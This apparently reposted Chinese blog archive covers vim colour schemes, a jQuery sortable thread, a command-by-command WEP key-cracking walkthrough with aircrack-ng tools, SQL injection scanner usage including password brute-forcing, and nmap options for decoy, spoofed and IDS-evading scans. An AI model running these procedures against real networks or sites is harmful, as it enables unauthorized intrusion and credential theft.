Solomon的个人博客

分类目录

vim编辑器颜色主题color scheme

vim/gvim只有语法高亮并不足以展示优秀的界面,它还有丰富的颜色主题。不同的颜色主题对于语法高亮的颜色进行了设置,我的颜色主题选择的是murphy.vim

如何选择颜色主题呢?在vim/gvim中,使用命令 :colorscheme murphy 就可以切换到murphy的颜色主题,前提是你的电脑上必须安装有这个主题的文件。颜色主题文件一般在这个目录下 /usr/share/vim/vim版本/colors

默认安装的颜色主题可能包括以下几个

$ ls –l /usr/share/vim/vim72/colors/

blue.vim

darkblue.vim

default.vim

delek.vim

desert.vim

elflord.vim

evening.vim

koehler.vim

morning.vim

murphy.vim

pahlo.vim

peachpuff.vim

ron.vim

shine.vim

slate.vim

torte.vim

zellner.vim

这个地址有更丰富的颜色主题包 http://www.vim.org/scripts/download_script.php?src_id=10775

这个地址给出了各颜色主题的效果展示 http://www.vi-improved.org/color_sampler_pack/

Technorati : gvim, vim
Del.icio.us : gvim, vim
Zooomr : gvim, vim
Flickr : gvim, vim

摘自:http://orangebugs.net/wordpress/2009/10/23/vim-theme-color-scheme/

用jquery的sortable实现拖拽的特效

请教用jquery的sortable实现拖拽的特效,如何获得新的排序和位置??

因为项目需要实现一种拖拽的特效
http://ui.jquery.com/demos/sortable#droponempty
这里是jquery里面的sortable实现的特效,完全符合我的需求。
但是现在有个问题,数据拖拽后,我需要将位置变化和排序保存到数据库,我应该怎么做?
我自己的思路如下:
获得 拖拽的节点的id(也就是标题id)和新的容器的栏目id (也就是新的栏目id)
然后再遍历目标容器里面的所有节点。获得排序列表
然后通过ajax提交到后台。
现在用 srcElement1.id 已经能够获得节点的id 和栏目id (但是火狐不兼容)
还有就是节点的排序我怎么都不知道该怎么获取。
另外我在网络中还找到一种方法:
http://java.chinaitlab.com/tools/768113.html
这篇文章说可以把新的排序保存到cookie里面,
但是看了代码我不知道他是怎么获得排序的,
也不知道他是怎么保存进cookie的。
不知道还有没有其他的方法保存排序的位置???
请高手指点!!谢谢

 

shawphy
2009-01-13 23:14

http://docs.jquery.com/UI/Sortable
找到里边的sortable( "serialize", options )部分

 

 

softsnow
2009-01-14 11:22

看一眼你就明白了。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<HEAD>
  <TITLE> New Document </TITLE>
  <SCRIPT LANGUAGE="JavaScript" src="../jquery-1.2.6.pack.js">
  </SCRIPT>
  <SCRIPT LANGUAGE="JavaScript" src="../jquery.ui-1.5.2/ui/jquery.ui.all.js">
  </SCRIPT>
  <SCRIPT LANGUAGE="JavaScript">
  <!–
    $(document).ready(function(){
        var ss = $("#test").sortable();
    });
    function serilize(){
        var xx = $("#test").sortable("serialize");
        alert(xx);
    }
  //–>
  </SCRIPT>
</HEAD>
<BODY>
                <div id="test">
                    <div id="test-a">aaaa</div>
                    <div id="test-b">bbbb</div>
                    <div id="test-c">cccc</div>
                    <div id="test-d">dddd</div>
                </div>
        <button onclick="serilize();" value="SSSSSSSSSSSSSS">SSSSSSSSSSSSSS</button>
</BODY>
</HTML>

 

 

stormwen
2009-01-14 21:11

非常感谢几位的指点
我已经获得了字符串,问题已经解决,非常感谢!

 

 

rushwolf
2009-08-05 11:44

想问一下,如何将保存了的数据再载入sortable,让它自动排序

 

 

shamofengbao
2009-08-14 21:35

<script type="text/javascript">
$(function() {
    $("#sortable").sortable();
});
function serilize(){
    var child = $("#sortable").children();
    for(i=0;i<child.size();i++){
        alert(child.eq(i).text());
    }
}
</script>
<body >
<div class="demo">
<ul id="sortable">
    <li class="ui-state-default" name="1" >Item 1</li>
    <li class="ui-state-default" name="2" >Item 2</li>
    <li class="ui-state-default" name="3" >Item 3</li>
    <li class="ui-state-default" name="4" >Item 4</li>
    <li class="ui-state-default" name="5" >Item 5</li>
    <li class="ui-state-default" name="6" >Item 6</li>
    <li class="ui-state-default" name="7" >Item 7</li>
</ul>
<button onclick="serilize();" value="test">test</button>
</div>
</body>
不知道这样能不能满足你的需求?

 

 

shamofengbao
2009-08-14 21:37

然后在稍微处理一下,提交到php就可以了。

 

 

asd1125
2009-08-17 17:12

没看懂,我后来把整个字符串传递到处理页面!通过比对和替换已经排好顺序了!关键是这个不是通过ajax传递的!问下大侠是怎么通过ajax传递的字符串

 

asd1125
2009-08-21 14:56

各位大大,经过几天的不懈努力,小弟我已经解决了绝大部分问题了!通过$("#sortable").sortable("serialize");获得字符串,通过ajax传递字符串,后台页面处理字符串(似乎没有必要回传是吧),唯一可惜之处,我是用一个botton的onclick来触发ajax传值的,弱弱的问一声,该如何用拖拽来触发ajax呢?!

 

rogman
2009-09-16 17:35

$(".ui-state-default").each(function(){
      alert($(this).attr(’name’))
})
这就是顺序

 

 

关于拖拽的其他参考:

http://www.sharejs.com/cat-133.aspx

BT3下破解无线客户端wep简明教程(图)

1.接上篇教程,下载 安装(或刻盘)BT3后,在BT3下直接破解无线客户端。现教程奉上.

2.启动BT3,打开一个窗口,输入ifconfig –a 查看网卡 (顺便记下自己网卡的mac,后面要用到)

我的网卡是rausb0

再输入ifconfig –a rausb0加载usb网卡驱动

3.输入airmon-ng start rausb0 6 激活网卡的Monitor模式

后面的6 是你要破解ap 的工作频道 根据实际,换成你破解的ap的实际工作频道(下同)

4.输入抓包命令,抓包并查看你要破解的ap的essid mac

输入命令 airodump-ng –ivs -w name -c 6 rausb0 ,其中,rausb0是你破解用的网卡接口名(下同),这样,你的窗口将显示一个工作站,可以看到你要破解的ap的essid 和mac ,并记下ap的essid 和mac。

5.上面窗口不关闭,另开一个窗口,输入命令,用自己的网卡连接要破解的ap

输入 aireplay-ng -1 0 -e ap的essid -a ap的mac -h 自己网卡的mac rausb0

这时,系统将回显

Sending Authentication Request

Authentication successful

Sending Association Request Association successful :-)

6.输入aireplay-ng -5 -b ap的mac -h 自己网卡的mac rausb0 来获得xor文件

如果一切顺利,系统将回显 Use this packet ?

输入y 回车,将得到一个至关重要的xor文件。

再输入ls 查看当前目录,你将看到刚才生成的一个后缀名为xor 的文件。

7.输入packetforge-ng -0 -a ap的mac -h 自己网卡的mac -k 255.255.255.255 -l 255.255.255.255 -y fragment -××××-××××.xor -w mrarp

其中,–l中的l是L的小写,别和1混淆,而其中的××××-××××.xor 是你刚才生成的文件名。

系统回显:Wrote packet to: mrarp

8.输入aireplay-ng -2 –r mrarp -x 1024 rausb0 ,发包攻击.其中,-x 1024 是限定发包速度,避免网卡死机,我选择的是1024。

输入y 回车 攻击开始

这时,前面的抓包窗口上的data将迅速增加。

到数据增加到3万以上时,另开窗口,启动 aircrack-ng -n 64 -b ap的mac name-01.ivs

其中 64 是64位密码,如果是128位,换成128即可。

完成, 以上~~ 即 WEP密码~~ :)

为了您的安全,请只打开来源可靠的网址

打开网站 取消

来自: http://hi.baidu.com/117330827/blog/item/ecc2424ed6f0f404b2de052f.html

Linux下五大著名的免费SQL注入漏洞扫描工具

大量的现代企业采用Web应用程序与其客户无缝地连接到一起,但由于不正确的编码,造成了许多安全问题。Web应用程序中的漏洞可使黑客获取对敏感信息(如个人数据、登录信息等)的直接访问。

Web应用程序准许访问者提交数据,并可通过互联网从数据库中检索数据。而数据库是多数Web应用程序的心脏。数据库维持着Web应用程序将特定内容交给访问者的数据,Web应用程序在将信息交给客户、供应商时,也从数据库取得数据。

SQL注入攻击是最为常见的Web应用程序攻击技术,它会试图绕过SQL命令。在用户输入没有“净化”时,如果执行这种输入便会表现出一种SQL注入漏洞。

检查SQL注入漏洞主要涉及到两方面,一是审计用户的Web应用程序,二是通过使用自动化的SQL注入扫描器执行审记的最佳方法。在此,笔者罗列了一些对Web应用程序开发人员和专业的安全审计人员有价值的SQL注入扫描程序。

一、SQLIer

SQLIer 可以找到网站上一个有SQL注入漏洞的URL,并根据有关信息来生成利用SQL注入漏洞,但它不要求用户的交互。通过这种方法,它可以生成一个UNION Select查询,进而可以强力攻击数据库口令。这个程序在利用漏洞时并不使用引号,这意味着它可适应多种网站。
SQLIer通过“true/false”SQL注入漏洞强力口令。借助于“true/false” SQL注入漏洞强力口令,用户是无法从数据库查询数据的,只能查询一个可返回“true”、“false”值的语句。

据统计,一个八个字符的口令(包括十进制ASCII代码的任何字符)仅需要大约1分钟即可破解。
其使用语法如下,sqlier [选项] [URL]

其选项如下:

-c :[主机] 清除主机的漏洞利用信息
-s :[秒]在网页请求之间等待的秒数
-u:[用户名]从数据库中强力攻击的用户名,用逗号隔开。
-w:[选项]将[选项]交由wget
此外,此程序还支持猜测字段名,有如下几种选择:
–table-names [表格名称]:可进行猜测的表格名称,用逗号隔开。
–user-fields[用户字段]:可进行猜测的用户名字段名称,用逗号隔开。
–pass-fields [口令字段]:可进行猜测的口令字段名称,用逗号隔开。

下面说一下其基本用法:

例如,假设在下面的URL中有一个SQL注入漏洞:
http://example.com/sqlihole.php?id=1
我们运行下面这个命令:
sqlier -s 10 http://example.com/sqlihole.php?id=1从数据库中得到足够的信息,以利用其口令,其中的数字“10”表示要在每次查询之间等待10秒钟。

如果表格、用户名字段、口令字段名猜测得正确,那么漏洞利用程序会把用户名交付查询,准备从数据库中强力攻击口令。

sqlier -s 10 example.com -u BCable,administrator,root,user4

然而,如果内建的字段/表格名称没有猜中正确的字段名,用户就可以执行:

sqlier -s 10 example.com –table-names [table_names] –user-fields [user_fields] –pass-fields [pass_fields]

除非知道了正确的表格名、用户名字段、口令字段名,SQLIer就无法从数据库中强力攻击口令。如图1:

图1

二、SQLMap:http://www.3800hk.com/Soft/zhly/16504.html

这是一个自动的“盲目”SQL注入工具,它用python开发,它能执行一个动态的数据库管理系统指纹识别,可以完整地穷举远程数据库。其目标是实施一个完整的功能性数据库管理系统工具,它能够利用Web应用程序程序设置的全部缺陷,这些安全缺陷可以导致SQL注入漏洞。

在 SQLMap检测到目标系统上的一个或多个SQL注入漏洞之后,用户就可以从多种选项中选择,进而执行全面的后端数据库管理系统指纹识别,检索数据库管理 系统会话用户和数据库,穷举用户、口令哈希、数据库,运行其自身的SQL Select语句,读取文件系统上的特定文件等。

此软件完全支持MySQL、 oracle、PostgreSQL、Microsoft SQL Server等后端数据库管理系统。此外,它还识别微软的Access数据库,以及DB2、Informix、 Sybase 、 Interbase等。

其使用方法如下:

sqlmap.py [选项] {-u | -g | -c <配置文件>}
其中,-u URL指明目标URL
-g google dork 将google dork结果处理为目标url

三、SQID:http://sqid.rubyforge.org/

此工具是一个SQL注入漏洞挖掘器,是一个命令行实用程序,它能够查找SQL注入漏洞和网站中的常见错误。它可以执行以下几种操作:查找网页中的SQL注入漏洞,测试提交的表单,查找SQL注入漏洞的可能性。它还支持HTTP、HTTPS、基本身份验证等。

其用法如下:

Sqid.rb [选项]

其选项有以下几种:

-m,–mode MODE,它指明以某种模式进行操作,其中MODE有以下几种情况:g,google:以google搜索模式操作;u,url检查这个url;p,page,它主要检查单一的网页;c,crawl,检查站点。
其中,google搜索模式选项有以下几种情况,-q,–quary 查询,QUERY执行google搜索;-s,–start START,对所需要的首个结果的零索引;-r,–results RESULTS,在此指明所需要的结果数量,默认值为20。

四、SQL Power Injector

SQL Power Injector可帮助渗透测试人员找到并利用网页上的漏洞。目前,它支持SQL Server、Oracle、MYSQL、Sybase/Adaptive Sever和DB2等数据库,但在使用inline注入时,还可借助现有的数据库管理系统来使用此软件。

其自动化的工作模式以两种方式进行,一是比较期望的结果,二是根据时间延迟。

其工作状态如图2:

图2

五、SQLNinja:http://sqlninja.sourceforge.net/

Sqlninja 可以利用以SQL Server为后端数据支持的应用程序的漏洞,其主要目标是提供对有漏洞的数据库服务器的远程访问。Sqlninja的行为受到配置文件的控制,它告诉了 Sqlninja攻击的目标和方式,还有一些命令行选项。比如,有如下一些命令选项:

-m<攻击模式>,其攻击模式有测试(test)、指纹识别(fingerprint)、强力攻击(bruteforce)等;

其它的命令选项,-v : 指明进行详细输出;-f<配置文件>:指明一个使用的配置文件。-w<单词列表>指明以强力攻击模式使用的单词列表。

如图3是运行过程界面:

图3

http://www.myhack58.com/Article/48/66/2009/24308.htm

专家技巧:Linux黑客必备工具之nmap

nmap是一个网络探测和安全扫描程序,系统管理者和个人可以使用这个软件扫描大型的网络,获取被扫描主机正在运行以及提供什么服务等信息。nmap支持很多扫描技术,例如:UDP、TCP connect()、TCP SYN(半开扫描)、ftp代理(bounce攻击)、反向标志、ICMP、FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描。从扫描类型一节可以得到细节。nmap还提供了一些高级的特征,例如:通过TCP/IP协议栈特征探测操作系统类 型,秘密扫描,动态延时和重传计算,并行扫描,通过并行ping扫描探测关闭的主机,诱饵扫描,避开端口过滤检测,直接RPC扫描(无须端口影射),碎片 扫描,以及灵活的目标和端口设定。本文详细介绍了NMap的详细使用选项,并给出了几个实用实例,nmap是入侵和网络安全检测的必备工具。

(一)选择程序安装包

首先到官方网站上去下载nmap,下载地址为http://nmap.org/download.html,下载相关操作系统下的nmap软件,比如我的是FC10_64的操作系统,我就下载如图1所示的软件包.

1

图1选择所需要安装的包

(二)安装Gcc编译器

当然,我们也可以选择源码安装,源码安装的前提是首先安装了Gcc编译器,我们可以使用 yum -y install Gcc来网络安装Gcc编译器.

在确保安装了Gcc的情况下,进入源码存放的文件夹,解压缩源码文件如图2所示.

1

图2解压缩相关源码文件(三)测试运行环境和安装nmap

解压完毕后,进入解压缩后的文件夹,使用./confgure 、 make来测试运行环境。如图3

1

图3 ./configure和make测试环境

之后以管理员身份登录安装nmap,并测试可用性,如图4所示。

1

图4 安装nmap 并测试其可用性

nmap的安装到此结束,下面将着重介绍一下nmap的使用方法。

(四)Nmap的用法

可以使用 man nmap 来查看一下nmap是使用方法。为了提高nmap在non-root状态下的性能,软件的设计者付出了很大的努力。很不幸,一些内核界面(例如raw socket)需要在root状态下使用。所以应该尽可能在root使用nmap。

nmap运行通常会得到被扫描主机端口的列表。nmap总会给出well known(知名)端口的服务名(如果可能)、端口号、状态和协议等信息。每个端口的状态有:open、filtered、unfiltered。open状态意味着目标主机能够在这个端口使用accept()系统调用接受连接。filtered状态表示:防火墙、包过滤和其它的网络安全软件掩盖了这个端口,禁止 nmap探测其是否打开。unfiltered表示:这个端口关闭,并且没有防火墙/包过滤软件来隔离nmap的探测企图。通常情况下,端口的状态基本都 是unfiltered状态,只有在大多数被扫描的端口处于filtered状态下,才会显示处于unfiltered状态的端口。根据使用的功能选项,nmap也可以报告远程主机的下列特征:使用的操作系统、TCP序列、运行绑定到每个端口上的应用程序的用户名、DNS名、主机地址是否是欺骗地址、以及其它一些东西。

1.功能选项

功能选项可以组合使用。一些功能选项只能够在某种扫描模式下使用。nmap会自动识别无效或者不支持的功能选项组合,并向用户发出警告信息。

如果你是有经验的用户,可以略过结尾的示例一节。可以使用nmap -h快速列出功能选项列表如图5。

1

图5 快速列出功能选项2.扫描类型

-sT

TCP connect()扫描:这是最基本的TCP扫描方式。connect()是一种系统调用,由操作系统提供,用来打开一个连接。如果目标端口有程序监听, connect()就会成功返回,否则这个端口是不可达的。这项技术最大的优点是,你勿需root权限。任何UNIX用户都可以自由使用这个系统调用。这 种扫描很容易被检测到,在目标主机的日志中会记录大批的连接请求以及错误信息。

-sS

TCP同步扫描(TCP SYN):因为不必全部打开一个TCP连接,所以这项技术通常称为半开扫描(half-open)。你可以发出一个TCP同步包(SYN),然后等待回 应。如果对方返回SYN|ACK(响应)包就表示目标端口正在监听;如果返回RST数据包,就表示目标端口没有监听程序;如果收到一个SYN|ACK包, 源主机就会马上发出一个RST(复位)数据包断开和目标主机的连接,这实际上有我们的操作系统内核自动完成的。这项技术最大的好处是,很少有系统能够把这 记入系统日志。不过,你需要root权限来定制SYN数据包。

-sF -sF -sN

秘密FIN数据包扫描、圣诞树(Xmas Tree)、空(Null)扫描模式:即使SYN扫描都无法确定的情况下使用。一些防火墙和包过滤软件能够对发送到被限制端口的SYN数据包进行监视,而 且有些程序比如synlogger和courtney能够检测那些扫描。这些高级的扫描方式可以逃过这些干扰。这些扫描方式的理论依据是:关闭的端口需要 对你的探测包回应RST包,而打开的端口必需忽略有问题的包(参考RFC 793第64页)。FIN扫描使用暴露的FIN数据包来探测,而圣诞树扫描打开数据包的FIN、URG和PUSH标志。不幸的是,微软决定完全忽略这个标 准,另起炉灶。所以这种扫描方式对Windows95/NT无效。不过,从另外的角度讲,可以使用这种方式来分别两种不同的平台。如果使用这种扫描方式可 以发现打开的端口,你就可以确定目标注意运行的不是Windows系统。如果使用-sF、-sX或者-sN扫描显示所有的端口都是关闭的,而使用SYN扫 描显示有打开的端口,你可以确定目标主机可能运行的是Windwos系统。现在这种方式没有什么太大的用处,因为nmap有内嵌的操作系统检测功能。还有 其它几个系统使用和windows同样的处理方式,包括Cisco、BSDI、HP/UX、MYS、IRIX。在应该抛弃数据包时,以上这些系统都会从打 开的端口发出复位数据包。

-sP

ping扫描:有时你只是想知道此时网络上哪些主机正在运行。通过向你指定的网络内的每个IP地 址发送ICMP echo请求数据包,nmap就可以完成这项任务。如果主机正在运行就会作出响应。不幸的是,一些站点例如:microsoft.com阻塞ICMP echo请求数据包。然而,在默认的情况下nmap也能够向80端口发送TCP ack包,如果你收到一个RST包,就表示主机正在运行。nmap使用的第三种技术是:发送一个SYN包,然后等待一个RST或者SYN/ACK包。对于 非root用户,nmap使用connect()方法。

在默认的情况下(root用户),nmap并行使用ICMP和ACK技术。

注意,nmap在任何情况下都会进行ping扫描,只有目标主机处于运行状态,才会进行后续的扫描。如果你只是想知道目标主机是否运行,而不想进行其它扫描,才会用到这个选项。

-sU

UDP扫描:如果你想知道在某台主机上提供哪些UDP(用户数据报协议,RFC768)服务,可以使用这种扫描方法。nmap首先向目标主机的每个端口发出一个0字节的UDP包,如果我们收到端口不可达的ICMP消息,端口就是关闭的,否则我们就假设它是打开的。

有些人可能会想UDP扫描是没有什么意思的。但是,我经常会想到以前出现的solaris rpcbind缺陷。rpcbind隐藏在一个未公开的UDP端口上,这个端口号大于32770。所以即使端口111(portmap的众所周知端口号) 被防火墙阻塞有关系。但是你能发现大于30000的哪个端口上有程序正在监听吗?使用UDP扫描就能!cDc Back Orifice的后门程序就隐藏在Windows主机的一个可配置的UDP端口中。不考虑一些通常的安全缺陷,一些服务例如:snmp、tftp、NFS 使用UDP协议。不幸的是,UDP扫描有时非常缓慢,因为大多数主机限制ICMP错误信息的比例(在RFC1812中的建议)。例如,在Linux内核中 (在net/ipv4/icmp.h文件中)限制每4秒钟只能出现80条目标不可达的ICMP消息,如果超过这个比例,就会给1/4秒钟的处罚。 solaris的限制更加严格,每秒钟只允许出现大约2条ICMP不可达消息,这样,使扫描更加缓慢。nmap会检测这个限制的比例,减缓发送速度,而不 是发送大量的将被目标主机丢弃的无用数据包。

不过Microsoft忽略了RFC1812的这个建议,不对这个比例做任何的限制。所以我们可以能够快速扫描运行Win95/NT的主机上的所有65K个端口。

-sA

ACK扫描:这项高级的扫描方法通常用来穿过防火墙的规则集。通常情况下,这有助于确定一个防火墙是功能比较完善的或者是一个简单的包过滤程序,只是阻塞进入的SYN包。

这种扫描是向特定的端口发送ACK包(使用随机的应答/序列号)。如果返回一个RST包,这个端口就标记为unfiltered状态。如果什么都没有返 回,或者返回一个不可达ICMP消息,这个端口就归入filtered类。注意,nmap通常不输出unfiltered的端口,所以在输出中通常不显示 所有被探测的端口。显然,这种扫描方式不能找出处于打开状态的端口。

-sW

对滑动窗口的扫描:这项高级扫描技术非常类似于ACK 扫描,除了它有时可以检测到处于打开状态的端口,因为滑动窗口的大小是不规则的,有些操作系统可以报告其大小。这些系统至少包括:某些版本的AIX、 Amiga、BeOS、BSDI、Cray、Tru64 UNIX、DG/UX、OpenVMS、Digital UNIX、OpenBSD、OpenStep、QNX、Rhapsody、SunOS 4.x、Ultrix、VAX、VXWORKS。从nmap-hackers邮件3列表的文档中可以得到完整的列表。

-sR

RPC扫描。这种方法和nmap的其它不同的端口扫描方法结合使用。选择所有处于打开状态的端口向它们发出SunRPC程序的NULL命令,以确定它们是 否是RPC端口,如果是,就确定是哪种软件及其版本号。因此你能够获得防火墙的一些信息。诱饵扫描现在还不能和RPC扫描结合使用。

-b

FTP反弹攻击(bounce attack):FTP协议(RFC 959)有一个很有意思的特征,它支持代理FTP连接。也就是说,我能够从evil.com连接到FTP服务器target.com,并且可以要求这台 FTP服务器为自己发送Internet上任何地方的文件!1985年,RFC959完成时,这个特征就能很好地工作了。然而,在今天的Internet 中,我们不能让人们劫持FTP服务器,让它向Internet上的任意节点发送数据。如同Hobbit在1995年写的文章中所说的,这个协议"能够用来 做投递虚拟的不可达邮件和新闻,进入各种站点的服务器,填满硬盘,跳过防火墙,以及其它的骚扰活动,而且很难进行追踪"。我们可以使用这个特征,在一台代 理FTP服务器扫描TCP端口。因此,你需要连接到防火墙后面的一台FTP服务器,接着进行端口扫描。如果在这台FTP服务器中有可读写的目录,你还可以 向目标端口任意发送数据(不过nmap不能为你做这些)。

传递给-b功能选项的参数是你要作为代理的FTP服务器。语法格式为:

-b username:password@server:port。

2 通用选项

这些内容不是必需的,但是很有用。

-P0

在扫描之前,不必ping主机。有些网络的防火墙不允许ICMP echo请求穿过,使用这个选项可以对这些网络进行扫描。microsoft.com就是一个例子,因此在扫描这个站点时,你应该一直使用-P0或者-PT 80选项。

-PT

扫描之前,使用TCP ping确定哪些主机正在运行。nmap不是通过发送ICMP echo请求包然后等待响应来实现这种功能,而是向目标网络(或者单一主机)发出TCP ACK包然后等待回应。如果主机正在运行就会返回RST包。只有在目标网络/主机阻塞了ping包,而仍旧允许你对其进行扫描时,这个选项才有效。对于非 root用户,我们使用connect()系统调用来实现这项功能。使用-PT <端口号>来设定目标端口。默认的端口号是80,因为这个端口通常不会被过滤。

-PS

对于root用户,这个选项让nmap使用SYN包而不是ACK包来对目标主机进行扫描。如果主机正在运行就返回一个RST包(或者一个SYN/ACK包)。

-PI

设置这个选项,让nmap使用真正的ping(ICMP echo请求)来扫描目标主机是否正在运行。使用这个选项让nmap发现正在运行的主机的同时,nmap也会对你的直接子网广播地址进行观察。直接子网广 播地址一些外部可达的IP地址,把外部的包转换为一个内向的IP广播包,向一个计算机子网发送。这些IP广播包应该删除,因为会造成拒绝服务攻击(例如 smurf)。

-PB

这是默认的ping扫描选项。它使用ACK(-PT)和ICMP(-PI)两种扫描类型并行扫描。如果防火墙能够过滤其中一种包,使用这种方法,你就能够穿过防火墙。

-O

这个选项激活对TCP/IP指纹特征(fingerprinting)的扫描,获得远程主机的标志。换句话说,nmap使用一些技术检测目标主机操作系 统网络协议栈的特征。nmap使用这些信息建立远程主机的指纹特征,把它和已知的操作系统指纹特征数据库做比较,就可以知道目标主机操作系统的类型。

-I

这个选项打开nmap的反向标志扫描功能。Dave Goldsmith 1996年向bugtap发出的邮件注意到这个协议,ident协议(rfc 1413)允许使用TCP连接给出任何进程拥有者的用户名,即使这个进程并没有初始化连接。例如,你可以连接到HTTP端口,接着使用identd确定这 个服务器是否由root用户运行。这种扫描只能在同目标端口建立完全的TCP连接时(例如:-sT扫描选项)才能成功。使用-I选项是,远程主机的 identd精灵进程就会查询在每个打开的端口上监听的进程的拥有者。显然,如果远程主机没有运行identd程序,这种扫描方法无效。

-f

这个选项使nmap使用碎片IP数据包发送SYN、FIN、XMAS、NULL。使用碎片数据包增加包过滤、入侵检测系统的难度,使其无法知道你的企 图。不过,要慎重使用这个选项!有些程序在处理这些碎片包时会有麻烦,我最喜欢的嗅探器在接受到碎片包的头36个字节时,就会发生 segmentation faulted。因此,在nmap中使用了24个字节的碎片数据包。虽然包过滤器和防火墙不能防这种方法,但是有很多网络出于性能上的考虑,禁止数据包的 分片。

注意这个选项不能在所有的平台上使用。它在Linux、FreeBSD、OpenBSD以及其它一些UNIX系统能够很好工作。

-v

冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息。使用这个选项,你可以得到事半功倍的效果。使用-d选项可以得到更加详细的信息。

-h

快速参考选项。

-oN

把扫描结果重定向到一个可读的文件logfilename中。

-oM

把扫描结果重定向到logfilename文件中,这个文件使用主机可以解析的语法。你可以使用-oM -来代替logfilename,这样输出就被重定向到标准输出stdout。在这种情况下,正常的输出将被覆盖,错误信息荏苒可以输出到标准错误 stderr。要注意,如果同时使用了-v选项,在屏幕上会打印出其它的信息。

-resume

某个网络扫描可能由于control-C或者网络损失等原因被中断,使用这个选项可以使扫描接着以前的扫描进行。logfilename是被取消扫描的 日志文件,它必须是可读形式或者机器可以解析的形式。而且接着进行的扫描不能增加新的选项,只能使用与被中断的扫描相同的选项。nmap会接着日志文件中 的最后一次成功扫描进行新的扫描。

-iL

从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL -,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息。

-iR

让nmap自己随机挑选主机进行扫描。

-p <端口范围>

这个选项让你选择要进行扫描的端口号的范围。例如,-p 23表示:只扫描目标主机的23号端口。-p 20-30,139,60000-表示:扫描20到30号端口,139号端口以及所有大于60000的端口。在默认情况下,nmap扫描从1到1024号 以及nmap-services文件(如果使用RPM软件包,一般在/usr/share/nmap/目录中)中定义的端口列表。

-F

快速扫描模式,只扫描在nmap-services文件中列出的端口。显然比扫描所有65535个端口要快。

-D

使用诱饵扫描方法对目标网络/主机进行扫描。如果nmap使用这种方法对目标网络进行扫描,那么从目标主机/网络的角度来看,扫描就象从其它主机 (decoy1,等)发出的。从而,即使目标主机的IDS(入侵检测系统)对端口扫描发出报警,它们也不可能知道哪个是真正发起扫描的地址,哪个是无辜 的。这种扫描方法可以有效地对付例如路由跟踪、response-dropping等积极的防御机制,能够很好地隐藏你的IP地址。

每个诱饵 主机名使用逗号分割开,你也可以使用ME选项,它代表你自己的主机,和诱饵主机名混杂在一起。如果你把ME放在第六或者更靠后的位置,一些端口扫描检测软 件几乎根本不会显示你的IP地址。如果你不使用ME选项,nmap会把你的IP地址随机夹杂在诱饵主机之中。

注意:你用来作为诱饵的主机应该 正在运行或者你只是偶尔向目标发送SYN数据包。很显然,如果在网络上只有一台主机运行,目标将很轻松就会确定是哪台主机进行的扫描。或许,你还要直接使 用诱饵的IP地址而不是其域名,这样诱饵网络的域名服务器的日志上就不会留下关于你的记录。

还要注意:一些愚蠢的端口扫描检测软件会拒绝路由试图进行端口扫描的主机。因而,你需要让目标主机和一些诱饵断开连接。如果诱饵是目标主机的网关或者就是其自己时,会给目标主机造成很大问题。所以你需要慎重使用这个选项。

诱饵扫描既可以在起始的ping扫描也可以在真正的扫描状态下使用。它也可以和-O选项组合使用。

使用太多的诱饵扫描能够减缓你的扫描速度甚至可能造成扫描结果不正确。同时,有些ISP会把你的欺骗包过滤掉。虽然现在大多数的ISP不会对此进行限制。

-S

在一些情况下,nmap可能无法确定你的源地址(nmap会告诉你)。在这种情况下,可以使用这个选项给出你的IP地址。

在欺骗扫描时,也使用这个选项。使用这个选项可以让目标认为是其它的主机对自己进行扫描。

-e

告诉nmap使用哪个接口发送和接受数据包。nmap能够自动对此接口进行检测,如果无效就会告诉你。

-g

设置扫描的源端口。一些天真的防火墙和包过滤器的规则集允许源端口为DNS(53)或者FTP-DATA(20)的包通过和实现连接。显然,如果攻击者 把源端口修改为20或者53,就可以摧毁防火墙的防护。在使用UDP扫描时,先使用53号端口;使用TCP扫描时,先使用20号端口。注意只有在能够使用 这个端口进行扫描时,nmap才会使用这个端口。例如,如果你无法进行TCP扫描,nmap会自动改变源端口,即使你使用了-g选项。

对于一些扫描,使用这个选项会造成性能上的微小损失,因为我有时会保存关于特定源端口的一些有用的信息。

-r

告诉nmap不要打乱被扫描端口的顺序。

–randomize_hosts

使nmap在扫描之前,打乱每组扫描中的主机顺序,nmap每组可以扫描最多2048台主机。这样,可以使扫描更不容易被网络监视器发现,尤其和–scan_delay 选项组合使用,更能有效避免被发现。

-M

设置进行TCP connect()扫描时,最多使用多少个套接字进行并行的扫描。使用这个选项可以降低扫描速度,避免远程目标宕机。3 适时选项

通常,nmap在运行时,能够很好地根据网络特点进行调整。扫描时,nmap会尽量减少被目标检测到的机会,同时尽可能加快扫描速度。然而,nmap默认的适时策略有时候不太适合你的目标。使用下面这些选项,可以控制nmap的扫描timing:

-T

设置nmap的适时策略。Paranoid:为了避开IDS的检测使扫 描速度极慢,nmap串行所有的扫描,每隔至少5分钟发送一个包; Sneaky:也差不多,只是数据包的发送间隔是15秒;Polite:不增加太大的网络负载,避免宕掉目标主机,串行每个探测,并且使每个探测有0.4 秒种的间隔;Normal:nmap默认的选项,在不是网络过载或者主机/端口丢失的情况下尽可能快速地扫描;Aggressive:设置5分钟的超时限 制,使对每台主机的扫描时间不超过5分钟,并且使对每次探测回应的等待时间不超过1.5秒钟;b>Insane:只适合快速的网络或者你不在意丢失 某些信息,每台主机的超时限制是75秒,对每次探测只等待0.3秒钟。你也可是使用数字来代替这些模式,例如:-T 0等于-T Paranoid,-T 5等于-T Insane。

这些适时模式不能下面的适时选项组合使用。

–host_timeout

设置扫描一台主机的时间,以毫秒为单位。默认的情况下,没有超时限制。

–max_rtt_timeout

设置对每次探测的等待时间,以毫秒为单位。如果超过这个时间限制就重传或者超时。默认值是大约9000毫秒。

–min_rtt_timeout

当目标主机的响应很快时,nmap就缩短每次探测的超时时间。这样会提高扫描的速度,但是可能丢失某些响应时间比较长的包。使用这个选项,可以让nmap对每次探测至少等待你指定的时间,以毫秒为单位。

–initial_rtt_timeout

设置初始探测的超时值。一般这个选项只在使用-P0选项扫描有防火墙保护的主机才有用。默认值是6000毫秒。

–max_parallelism

设置最大的并行扫描数量。–max_parallelism 1表示同时只扫描一个端口。这个选项对其它的并行扫描也有效,例如ping sweep, RPC scan。

–scan_delay

